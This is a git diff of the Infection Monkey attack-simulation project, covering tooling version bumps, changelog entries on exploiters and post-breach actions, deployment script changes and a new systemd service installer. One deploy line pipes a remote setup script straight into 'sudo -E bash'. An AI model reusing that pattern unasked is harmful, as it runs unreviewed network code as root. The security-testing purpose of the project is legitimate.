diff --git a/.gitattributes b/.gitattributes index 807ae6822..74db1b2f8 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,4 +1,4 @@ monkey/tests/data_for_tests/ransomware_targets/** -text monkey/tests/data_for_tests/test_readme.txt -text monkey/tests/data_for_tests/stable_file.txt -text -monkey/infection_monkey/ransomware/ransomware_readme.txt -text +monkey/infection_monkey/payload/ransomware/ransomware_readme.txt -text diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 75c0ea28f..ee808ac88 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,7 +1,7 @@ default_stages: [commit] repos: - repo: https://github.com/pycqa/isort - rev: 5.8.0 + rev: 5.10.1 hooks: - id: isort name: isort (python) @@ -12,16 +12,16 @@ repos: name: isort (pyi) types: [pyi] - repo: https://github.com/psf/black - rev: 20.8b1 + rev: 22.3.0 hooks: - id: black - repo: https://gitlab.com/pycqa/flake8 - rev: 3.9.1 + rev: 4.0.1 hooks: - id: flake8 additional_dependencies: [dlint] - repo: https://github.com/pre-commit/pre-commit-hooks - rev: v3.4.0 + rev: v4.1.0 hooks: - id: check-added-large-files - id: check-case-conflict @@ -31,7 +31,7 @@ repos: - id: end-of-file-fixer - id: trailing-whitespace - repo: https://github.com/eslint/eslint - rev: v7.24.0 + rev: v8.12.0 hooks: - id: eslint args: ["monkey/monkey_island/cc/ui/src/", "--fix", "--max-warnings=0"] @@ -45,7 +45,7 @@ repos: exclude: "monkey/monkey_island/cc/ui" stages: [push] - repo: https://github.com/swimmio/pre-commit - rev: v0.2 + rev: v0.7 hooks: - id: swimm-verify - repo: https://github.com/jendrikseipp/vulture diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm deleted file mode 100644 index 708d8e8c5..000000000 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ /dev/null @@ -1,86 +0,0 @@ -{ - "id": "AzD8XysWg1BBXCjCDkfq", - "name": "Add a new configuration setting to the Agent ⚙", - "task": { - "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", - "tests": [], - "hints": [ - "Look for `victims_max_exploit` - it's rather similar." - ] - }, - "content": [ - { - "type": "text", - "text": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine." - }, - { - "type": "snippet", - "path": "monkey/infection_monkey/config.py", - "comments": [], - "firstLineNumber": 103, - "lines": [ - " exploiter_classes = []", - " system_info_collector_classes = []", - " ", - "* # how many victims to look for in a single scan iteration", - "* victims_max_find = 100", - " ", - " # how many victims to exploit before stopping", - " victims_max_exploit = 100" - ] - }, - { - "type": "snippet", - "path": "monkey/infection_monkey/monkey.py", - "comments": [], - "firstLineNumber": 220, - "lines": [ - " if not WormConfiguration.alive:", - " logger.info(\"Marked not alive from configuration\")", - " ", - "* machines = self._network.get_victim_machines(", - "* max_find=WormConfiguration.victims_max_find,", - "* stop_callback=ControlClient.check_for_stop,", - "* )", - " for machine in machines:", - " if ControlClient.check_for_stop():", - " break" - ] - }, - { - "type": "snippet", - "path": "monkey/monkey_island/cc/services/config_schema/internal.py", - "comments": [], - "firstLineNumber": 28, - "lines": [ - " \"title\": \"Monkey\",", - " \"type\": \"object\",", - " \"properties\": {", - "* \"victims_max_find\": {", - "* \"title\": \"Max victims to find\",", - "* \"type\": \"integer\",", - "* \"default\": 100,", - "* \"description\": \"Determines the maximum number of machines the monkey is \"", - "* \"allowed to scan\",", - "* },", - " \"victims_max_exploit\": {", - " \"title\": \"Max victims to exploit\",", - " \"type\": \"integer\"," - ] - }, - { - "type": "text", - "text": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/config_templates)." - } - ], - "symbols": {}, - "file_version": "2.0.3", - "meta": { - "app_version": "0.6.6-2", - "file_blobs": { - "monkey/infection_monkey/config.py": "8f4984ba6563564343282765ab498efca5d89ba8", - "monkey/infection_monkey/monkey.py": "4160a36e0e624404d77526472d51dd07bba49e5a", - "monkey/monkey_island/cc/services/config_schema/internal.py": "86318eaf19b9991a8af5de861a3eb085238e17a4" - } - } -} diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index 79d9deb21..3968694f8 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -18,23 +18,24 @@ "type": "snippet", "path": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", "comments": [], - "firstLineNumber": 12, + "firstLineNumber": 15, "lines": [ " \"\"\"", " ", - " def __init__(self):", + " def __init__(self, telemetry_messenger: ITelemetryMessenger):", "* linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", "+ pass", "*", "+ # Swimmer: IMPLEMENT HERE!", "* super(ScheduleJobs, self).__init__(", + "* telemetry_messenger,", "* name=POST_BREACH_JOB_SCHEDULING,", "* linux_cmd=\" \".join(linux_cmds),", "* windows_cmd=windows_cmds,", "* )", "*", - "* def run(self):", - "* super(ScheduleJobs, self).run()", + "* def run(self, options: Dict):", + "* super(ScheduleJobs, self).run(options)", "* remove_scheduled_jobs()" ] }, @@ -44,11 +45,11 @@ } ], "symbols": {}, - "file_version": "2.0.1", + "file_version": "2.0.3", "meta": { - "app_version": "0.4.1-1", + "app_version": "0.6.6-2", "file_blobs": { - "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "e7845968a0c27d2eba71a8889645fe88491cb2a8" + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": "4ab023e35fa4424f0c6583233f5b056c7b1cad51" } } } diff --git a/.swm/afMu3y3ny5lnrYFWl3EI.swm b/.swm/afMu3y3ny5lnrYFWl3EI.swm index 89e6a8be9..1da171e62 100644 --- a/.swm/afMu3y3ny5lnrYFWl3EI.swm +++ b/.swm/afMu3y3ny5lnrYFWl3EI.swm @@ -34,15 +34,18 @@ "lines": [ " ", " class AccountDiscovery(PBA):", - " def __init__(self):", + " def __init__(self, telemetry_messenger: ITelemetryMessenger):", "* linux_cmds, windows_cmds = get_commands_to_discover_accounts()", "+ # SWIMMER: Implement here!", "* super().__init__(", "+ pass", - "* POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", + "* telemetry_messenger,", + "* POST_BREACH_ACCOUNT_DISCOVERY,", + "* linux_cmd=\" \".join(linux_cmds),", + "* windows_cmd=windows_cmds,", "* )" ], - "firstLineNumber": 7, + "firstLineNumber": 8, "path": "monkey/infection_monkey/post_breach/actions/discover_accounts.py", "comments": [] }, @@ -65,7 +68,7 @@ " \"type\": \"string\",", " \"enum\": [\"ClearCommandHistory\"]," ], - "firstLineNumber": 80, + "firstLineNumber": 78, "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", "comments": [] }, @@ -77,11 +80,11 @@ "symbols": {}, "file_version": "2.0.3", "meta": { - "app_version": "0.5.7-0", + "app_version": "0.6.6-2", "file_blobs": { - "monkey/common/common_consts/post_breach_consts.py": "01d31448269e5581dbe0176c289f7dd36cc5854f", - "monkey/infection_monkey/post_breach/actions/discover_accounts.py": "8fdebd0df97655e4cba3aebcdcf3c5ed1d1b6cbd", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "88a3e8cb59fb0d1c07c9487bcb4eaab7b8087d84" + "monkey/common/common_consts/post_breach_consts.py": "19b6c4f19b7223f115976a0050ca04ab97e52f8e", + "monkey/infection_monkey/post_breach/actions/discover_accounts.py": "a153cf5b6185c9771414fc5ae49d441efc7294b6", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "d6831ed63b17f327d719a05840d7e51202fa5ccb" } } } diff --git a/.travis.yml b/.travis.yml index 1ad925e54..a532b760e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,10 +7,11 @@ group: travis_latest language: python env: - - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv + - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv LIBSODIUM_MAKE_ARGS=-j8 cache: - - pip + - pip: true + - npm: true - directories: - "$HOME/.npm" - $PIP_CACHE_DIR @@ -20,10 +21,13 @@ python: - 3.7 os: linux +vm: + size: x-large install: # Python +- nproc - pip install pipenv --upgrade # Install island and monkey requirements as they are needed by UT's - pushd monkey/monkey_island @@ -37,7 +41,7 @@ install: - node --version - npm --version - nvm --version -- nvm install 12 +- nvm install 16 - nvm use node - npm i -g eslint - node --version @@ -65,7 +69,8 @@ script: ## Run unit tests and generate coverage data - cd monkey # This is our source dir -- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. +- pip install pytest-xdist +- python -m pytest -n auto --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. # Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui @@ -80,7 +85,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- curl -L https://github.com/swimmio/SwimmReleases/releases/latest/download/packed-swimm-linux-cli --output swimm-cli +- curl -L https://releases.swimm.io/ci/latest/packed-swimm-linux-cli --output swimm-cli - chmod u+x swimm-cli - ./swimm-cli --version - ./swimm-cli verify diff --git a/CHANGELOG.md b/CHANGELOG.md index d1ba86eb8..bec863015 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,16 +8,27 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] ### Added - credentials.json file for storing Monkey Island user login information. #1206 +- "GET /api/propagation-credentials/" endpoint for agents to + retrieve updated credentials from the Island. #1538 +- SSHCollector as a configurable System info Collector. #1606 +- deployment_scrips/install-infection-monkey-service.sh to install an AppImage + as a service. #1552 - The ability to download the Monkey Island logs from the Infection Map page. #1640 ### Changed - "Communicate as Backdoor User" PBA's HTTP requests to request headers only and include a timeout. #1577 - The setup procedure for custom server_config.json files to be simpler. #1576 +- The order and content of Monkey Island's initialization logging to give + clearer instructions to the user and avoid confusion. #1684 +- The process list collection system info collector to now be a post-breach action. #1697 +- The "/api/monkey/download" endpoint to accept an OS and return a file. #1675 +- Log messages to contain human-readable thread names. #1766 +- The log file name to `infection-monkey-agent--.log`. #1761 - "Logs" page renamed to "Telemetries". #1640 ### Removed -- The VSFTPD exploiter. #1533 +- VSFTPD exploiter. #1533 - Manual agent run command for CMD. #1570 - Sambacry exploiter. #1567, #1693 - "Kill file" option in the config. #1536 @@ -34,6 +45,23 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Hostname system info collector. #1535 - Max iterations and timeout between iterations config options. #1600 - MITRE ATT&CK configuration screen. #1532 +- Propagation credentials from "GET /api/monkey/" endpoint. #1538 +- "GET /api/monkey_control/check_remote_port/" endpoint. #1635 +- Max victims to find/exploit, TCP scan interval and TCP scan get banner internal options. #1597 +- MySQL fingerprinter. #1648 +- MS08-067 (Conficker) exploiter. #1677 +- Agent bootloader. #1676 +- Zero Trust integration with ScoutSuite. #1669 +- ShellShock exploiter. #1733 +- ElasticGroovy exploiter. #1732 +- T1082 attack technique report. #1754 +- 32-bit agents. #1675 +- Log path config options. #1761 +- "smb_service_name" option. #1741 +- Struts2 exploiter. #1869 +- Drupal exploiter. #1869 +- WebLogic exploiter. #1869 +- The /api/t1216-pba/download endpoint. #1864 - Island log download button from "Telemetries"(previously called "Logs") page. #1640 ### Fixed @@ -41,9 +69,14 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Windows "run as a user" powershell command for manual agent runs. #1570 - A bug in the "Signed Script Proxy Execution" PBA that downloaded the exe on Linux systems as well. #1557 +- A bug where T1216_random_executable.exe was copied to disk even if the signed + script proxy execution PBA was disabled. #1864 + ### Security - +- Change SSH exploiter so that it does not set the permissions of the agent + binary in /tmp on the target system to 777, as this could allow a malicious + actor with local access to escalate their privileges. #1750 ## [1.13.0] - 2022-01-25 ### Added @@ -54,6 +87,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Exploiters attempting to start servers listening on privileged ports, resulting in failed propagation. 8f53a5c + ## [1.12.0] - 2021-10-27 ### Added - A new exploiter that allows propagation via PowerShell Remoting. #1246 diff --git a/README.md b/README.md index 16f17a5f1..92f5e89c7 100644 --- a/README.md +++ b/README.md @@ -58,10 +58,8 @@ The Infection Monkey uses the following techniques and exploits to propagate to * SSH * SMB * WMI - * Shellshock - * Conficker - * Elastic Search (CVE-2015-1427) - * Weblogic server + * Log4Shell + * Zerologon * and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters. ## Setup diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index fead9901a..e81291dd0 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -1,7 +1,7 @@ #!/bin/bash LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage" -PYTHON_VERSION="3.7.12" +PYTHON_VERSION="3.7.13" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" APPDIR="$APPIMAGE_DIR/squashfs-root" @@ -28,6 +28,7 @@ setup_build_dir() { local agent_binary_dir=$1 local monkey_repo=$2 local deployment_type=$3 + local is_release_build=$4 pushd $APPIMAGE_DIR @@ -44,7 +45,7 @@ setup_build_dir() { install_mongodb generate_ssl_cert "$BUILD_DIR" - build_frontend "$BUILD_DIR" + build_frontend "$BUILD_DIR" "$is_release_build" remove_python_appdir_artifacts diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index e787fdd35..88f24b4fc 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -1,7 +1,7 @@ WORKSPACE=${WORKSPACE:-$HOME} DEFAULT_REPO_MONKEY_HOME=$WORKSPACE/git/monkey MONKEY_ORIGIN_URL="https://github.com/guardicore/monkey.git" -NODE_SRC=https://deb.nodesource.com/setup_12.x +NODE_SRC=https://deb.nodesource.com/setup_16.x BUILD_SCRIPTS_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" DIST_DIR="$BUILD_SCRIPTS_DIR/dist" @@ -196,8 +196,13 @@ fi install_build_prereqs install_package_specific_build_prereqs "$WORKSPACE" +is_release_build=false +# Monkey version is empty on release build +if [ ! -z "$monkey_version" ]; then + is_release_build=true +fi -setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type" +setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type" "$is_release_build" commit_id=$(get_commit_id "$monkey_repo") build_package "$monkey_version" "$commit_id" "$DIST_DIR" diff --git a/build_scripts/common.sh b/build_scripts/common.sh index 2f244fd51..7c222b8a5 100644 --- a/build_scripts/common.sh +++ b/build_scripts/common.sh @@ -42,9 +42,7 @@ download_monkey_agent_binaries() { load_monkey_binary_config mkdir -p "${island_binaries_path}" || handle_error - curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}" curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}" - curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}" curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}" } @@ -76,11 +74,18 @@ generate_ssl_cert() { build_frontend() { local ui_dir="$1/monkey_island/cc/ui" + local is_release_build=$2 pushd "$ui_dir" || handle_error log_message "Generating front end" npm ci - npm run dist + if [ "$is_release_build" == true ]; then + log_message "Running production front end build" + npm run dist + else + log_message "Running development front end build" + npm run dev + fi popd || handle_error diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 42004f8f7..e0bd31b5d 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -9,6 +9,7 @@ install_package_specific_build_prereqs() { setup_build_dir() { local agent_binary_dir=$1 local monkey_repo=$2 + local is_release_build=$4 local build_dir=$DOCKER_DIR/monkey mkdir "$build_dir" @@ -22,7 +23,7 @@ setup_build_dir() { generate_ssl_cert "$build_dir" - build_frontend "$build_dir" + build_frontend "$build_dir" "$is_release_build" } copy_entrypoint_to_build_dir() { diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 54e077ec7..c0d73e24f 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -22,7 +22,7 @@ The first argument is an empty directory (script can create one). The second arg - `.\deploy_windows.ps1` (Sets up monkey in current directory under .\infection_monkey) - `.\deploy_windows.ps1 -monkey_home "C:\test"` (Sets up monkey in C:\test) -- `.\deploy_windows.ps1 -branch "master"` (Sets up master branch instead of develop in current dir) +- `.\deploy_windows.ps1 -branch 'master'` (Sets up master branch instead of develop in current dir) You may also pass in an optional `agents=$false` parameter to disable downloading the latest agent binaries. diff --git a/deployment_scripts/config b/deployment_scripts/config index 9ef065ce9..2a0807ce0 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -25,15 +25,9 @@ get_latest_release() { MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey") # Monkey binaries -export LINUX_32_BINARY_NAME="monkey-linux-32" -export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32" - export LINUX_64_BINARY_NAME="monkey-linux-64" export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64" -export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" -export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe" - export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe" diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index e4dc7484b..b14d095e7 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -12,12 +12,8 @@ $PYTHON_URL = "https://www.python.org/ftp/python/3.7.7/python-3.7.7-amd64.exe" # Monkey binaries -$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32" -$LINUX_32_BINARY_PATH = "monkey-linux-32" $LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64" $LINUX_64_BINARY_PATH = "monkey-linux-64" -$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe" -$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe" $WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe" $WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe" @@ -36,6 +32,6 @@ $UPX_FOLDER = "upx-3.96-win64" $MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2012plus-v4.2-latest.zip" $OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip" $CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" -$NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi" +$NPM_URL = "https://nodejs.org/dist/v16.14.2/node-v16.14.2-x64.msi" $UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip" $SWIMM_URL="https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm-Setup-0.4.4-0.exe" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 1826c4ffc..930067bde 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -93,7 +93,7 @@ log_message "Cloning files from git" branch=${2:-"develop"} log_message "Branch selected: ${branch}" if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned - git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error + git clone --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error fi # Create folders @@ -161,20 +161,15 @@ agents=${3:-true} if [ "$agents" = true ] ; then log_message "Downloading binaries" if exists wget; then - wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} - wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} else - curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL} curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL} - curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL} curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL} fi fi # Allow them to be executed -chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" # If a user haven't installed mongo manually check if we can install it with our script @@ -197,7 +192,7 @@ chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh # Update node if ! exists npm; then log_message "Installing nodejs" - node_src=https://deb.nodesource.com/setup_12.x + node_src=https://deb.nodesource.com/setup_16.x if exists curl; then curl -sL $node_src | sudo -E bash - else @@ -207,8 +202,7 @@ if ! exists npm; then fi pushd "$ISLAND_PATH/cc/ui" || handle_error -npm install sass-loader node-sass webpack --save-dev -npm update +npm ci log_message "Generating front end" npm run dist diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 22d228346..f5d313322 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -209,9 +209,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, "Adding binaries" $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue - $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) - $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) } diff --git a/deployment_scripts/install-infection-monkey-service.sh b/deployment_scripts/install-infection-monkey-service.sh new file mode 100755 index 000000000..e2c9a926f --- /dev/null +++ b/deployment_scripts/install-infection-monkey-service.sh @@ -0,0 +1,161 @@ +#!/bin/bash + +set -e + +SCRIPT_DIR="$(realpath "$(dirname "${BASH_SOURCE[0]}")")" +SYSTEMD_UNIT_FILENAME="infection-monkey.service" +SYSTEMD_DIR="/lib/systemd/system" +MONKEY_BIN="/opt/infection-monkey/bin" +APPIMAGE_NAME="InfectionMonkey.AppImage" + +echo_help() { + echo "Installs the Infection Monkey service to run on boot." + echo "" + echo "Usage:" + echo " install-infection-monkey-service.sh --user --appimage " + echo " install-infection-monkey-service.sh --uninstall" + echo " install-infection-monkey-service.sh -h|--help" + echo "" + echo "Options:" + echo " --user User to run the service as" + echo " --appimage Path to AppImage" + echo " --uninstall Uninstall the Infection Monkey service" +} + +install_service() { + move_appimage "$2" + + cat > "${SCRIPT_DIR}/${SYSTEMD_UNIT_FILENAME}" << EOF +[Unit] +Description=Infection Monkey Runner +After=network.target + +[Service] +User=$1 +Type=simple +ExecStart="${MONKEY_BIN}/${APPIMAGE_NAME}" + +[Install] +WantedBy=multi-user.target +EOF + + umask 077 + sudo mv "${SCRIPT_DIR}/${SYSTEMD_UNIT_FILENAME}" "${SYSTEMD_DIR}/${SYSTEMD_UNIT_FILENAME}" + sudo systemctl enable "${SYSTEMD_UNIT_FILENAME}" &>/dev/null + + echo -e "The Infection Monkey service has been installed and will start on boot.\n\ +Run 'systemctl start infection-monkey' to start the service now." +} + +uninstall_service() { + if [ -f "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then + sudo rm -f "${MONKEY_BIN}/${APPIMAGE_NAME}" + fi + + if [ -f "${SYSTEMD_DIR}/${SYSTEMD_UNIT_FILENAME}" ] ; then + sudo systemctl stop "${SYSTEMD_UNIT_FILENAME}" 2>/dev/null + sudo systemctl disable "${SYSTEMD_UNIT_FILENAME}" &>/dev/null + sudo rm "${SYSTEMD_DIR}/${SYSTEMD_UNIT_FILENAME}" + sudo systemctl daemon-reload + fi + + echo "The Infection Monkey service has been uninstalled" +} + +move_appimage() { + sudo mkdir --mode=0755 -p "${MONKEY_BIN}" + + if [ "$1" != "${MONKEY_BIN}/${APPIMAGE_NAME}" ] ; then + umask 022 + sudo cp "$appimage_path" "${MONKEY_BIN}/${APPIMAGE_NAME}" + sudo chmod 755 "${MONKEY_BIN}/${APPIMAGE_NAME}" + fi +} + +user_exists() { + id -u "$1" &>/dev/null +} + +assert_parameter_supplied() { + if [ -z "$2" ] ; then + echo "Error: missing required parameter '$1'" + echo_help + exit 1 + fi +} + +has_sudo() { + # 0 true, 1 false + sudo -nv > /dev/null 2>&1 + return $? +} + +exit_if_missing_argument() { + if [ -z "$2" ] || [ "${2:0:1}" == "-" ]; then + echo "Error: Argument for parameter '$1' is missing" >&2 + echo_help + exit 1 + fi +} + +do_uninstall=false +uname="" +appimage_path="" + +while (( "$#" )); do + case "$1" in + --user) + exit_if_missing_argument "$1" "$2" + + uname=$2 + shift 2 + ;; + --appimage) + exit_if_missing_argument "$1" "$2" + + appimage_path=$2 + shift 2 + ;; + --uninstall) + do_uninstall=true + shift + ;; + -h|--help) + echo_help + exit 0 + ;; + *) + echo "Error: Unsupported parameter $1" >&2 + exit 1 + ;; + esac +done + +if ! has_sudo; then + echo "Error: You need root permissions for some of this script operations. \ +Run \`sudo -v\`, enter your password, and then re-run this script." + exit 1 +fi + +if $do_uninstall ; then + uninstall_service + exit 0 +fi + +assert_parameter_supplied "--user" "$uname" +assert_parameter_supplied "--appimage" "$appimage_path" + +if ! user_exists "$uname" ; then + echo "Error: User '$uname' does not exist" + exit 1 +fi + +if [ ! -f "$appimage_path" ] ; then + if [ ! -f "${SCRIPT_DIR}/$appimage_path" ] ; then + echo "Error: AppImage '$appimage_path' does not exist" + exit 1 + fi + appimage_path="${SCRIPT_DIR}/$appimage_path" +fi + +install_service "$uname" "$appimage_path" diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 4e708186f..5bd0bbc3f 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -11,6 +11,7 @@ Below are some of the most common questions we receive about the Infection Monke - [I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why?](#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why) - [How can I use an old data directory?](#how-can-i-use-an-old-data-directory) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) +- [How long does it take to stop all running Infection Monkey agents?](#how-long-does-it-take-to-stop-all-running-infection-monkey-agents) - [Is the Infection Monkey a malware/virus?](#is-the-infection-monkey-a-malwarevirus) - [Reset the Monkey Island password](#reset-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) @@ -59,6 +60,12 @@ ref "/reference/data_directory" >}}). The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. +## How long does it take to stop all running Infection Monkey agents? + +On the Infection Map page, when Kill All Monkeys is pressed, the agents +try to finish execution safely. This can take up to 2 minutes, but will be much +shorter on average. + ## Is the Infection Monkey a malware/virus? The Infection Monkey is not malware, but it uses similar techniques to safely @@ -189,10 +196,20 @@ It's also possible to change the default log level by editing `log_level` value #### Infection Monkey agent logs -The Infection Monkey agent log file can be found in the following paths on machines where it was executed: +The Infection Monkey agent log file can be found in directories specified for +temporary files on the machines where it was executed. In most cases, this will +be `/tmp` on Linux and `%temp%` on Windows. The agent searches a standard list +of directories to find an appropriate place to store the log: -- Path on Linux: `/tmp/user-1563` -- Path on Windows: 